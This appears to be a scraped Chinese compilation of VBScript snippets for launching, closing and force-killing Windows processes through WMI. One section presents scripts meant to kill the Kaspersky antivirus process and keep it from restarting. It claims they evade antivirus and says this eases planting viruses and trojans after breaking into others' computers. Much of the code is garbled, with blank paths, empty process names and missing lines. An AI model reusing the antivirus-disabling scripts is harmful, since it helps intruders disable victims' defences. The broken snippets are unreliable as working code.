用vbs打开程序
检查程序,如已有就不打开!
pro="c:\windows\"'要打开的程序,写完整路径
n=split(pro,"\")
name=n(ubound(n))
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
s=s&sep&ps.name:sep="|":next
s=split(s,"|")
for i=0 to ubound(s)
if name=s(i) then wscript.quit
next
createobject("wscript.shell").run pro
====================================================================
vbs打开关闭应用程序
'1.打开关闭应用程序
Set WshShell = CreateObject("WScript.Shell")
'打开应用程序
Set oExec = WshShell.Exec("C:\WINDOWS\")
WScript.Sleep 5000
WshShell.AppActivate oExec.ProcessID
WScript.Sleep 100
通过快捷键关闭程序
WshShell.SendKeys "%{F4}"
Set oExec = Nothing
'2. 通过进程名关闭程序
vbs脚本怎么停止set WshShell =createobject("wscript.shell")
'暂停3000毫秒
wscript.sleep 3000
'关闭记事本. 关闭程序得知道程序的进程名,在任务管理器里面.
WshShell.run " /c taskkill /f / /t",0
==========================================================================
用VBS实现脚本结束进程与防止进程启动
Kill.vbs用来在cmd下结束进程,Dis.vbs用来在窗口模式下防止某进程再次启动。这两个VBS都不会被杀毒软件KILL掉,并且有一定的隐蔽性……看代码!('为注释) 
Kill.vbs:
for each ps in getobject _ 
("winmgmts:\\.\root\cimv2:win32_process").instances_ '涉及到WMI脚本入侵技术,我不能解释清楚! 
if ps.handle=wscript.arguments(0) then '判断进程的PID号是否与获得的PID号参数相等 
end if 
next 
Dis.vbs:
dim y,x '不要这行也行…… 
do '来个死循环……一直在判断!do ... loop内为循环体! 
set y=getobject("winmgmts:\\.\root\cimv2") '和上面解释一样,这也是涉及到微软的WMI技术! 
set query("select * from win32_process where name=''") 
'查询语句,where后判断(卡巴)是否存在进程中! 
'这样当卡巴被上面的Kill.vbs结束时就再也启动不起来了。除非,把Dis.vbs结束了先…… 
for each i in x 
next 
wscript.sleep 
loop 
解释够清楚了,那就来看看这两个vbs是如何工作的吧。我将Kill.vbs与Dis.vbs放在C盘根目录下。 
打开cmd,输入cd\回到C盘根目录下,输入tasklist查看当前系统的进程情况,然后记下你想kill的进程的PID号,输入cscript Kill.vbs 2200即可结束PID为2200的进程了!假如这个进程是,那你就可以输入Dis.vbs启动Dis.vbs来防止卡巴继续被启动。Dis.vbs启动时仅在任务管理器的进程中有
进程项,要是不结束这个进程是无法再次启动卡巴的。 
懂得
这些,为以后入侵他人电脑后上传病毒、木马之类的就更方便了一点点……上面的所有过程都经本人试验成功了,继续完善…… 
=========================================================================
VBS,自动结束进程
先写上脚本代码先:
do while(1)
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\" & strComputer & "rootcimv2")
Set colProcessList1 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = ''")
For Each objProcess1 in colProcessList1
objProcess1.Terminate()
Next
Set colProcessList2 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = ''")
For Each objProcess2 in colProcessList2
objProcess2.Terminate()
Next
Set colProcessList3 = objWMIService.ExecQuery _
("Select * from Win32_Process Where Name = ''")
For Each objProcess3 in colProcessList3
objProcess3.Terminate()
Next
Wscript.Sleep(1000)
Loop
把上面的代码用记事本保存先,上面的3个红的进程名则是我要终止的进程名(注:一定要写全名哦~)
如果你要禁止多个进程只需把上面的蓝部分代码段多复制几下,然后把其中红部分的进程名改为你
想终止的进程名即可。
最下面的红的“1000”表示脚本循环运行一次的周期时间,默认单位为:毫秒。1000毫秒即=1秒
就是说每1秒循环一次,自己可以根据你的实际情况自由改动
OK,代码都改好之后就可以把记事本的后缀名改为“.vbs”并运行可以了,你在看看你禁用掉的进程还可以
运行吗?呵呵,是不是感觉很不错,呵呵~
如果想把这个运行的VBS脚本关掉,请在任务栏把进程结束掉先,然后再把结束掉
就可以啦~
另外请不要重复运行改好的脚本,否则任务栏里会出现多个进程,如果有多个这样的进程请手动
结束掉多余的,只留一个就OK啦
如果你想开机就自动执行的话,请把这个脚本放到启动栏里就可以了。
总的来说还是很实用的,例如机器中了病毒或者木马,到它的进程名,然后把它的进程名添加到脚本里,
开启脚本,这样就能防止病毒进一步爆发减少你的损失,接下来就可以慢慢进行排毒工作了

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。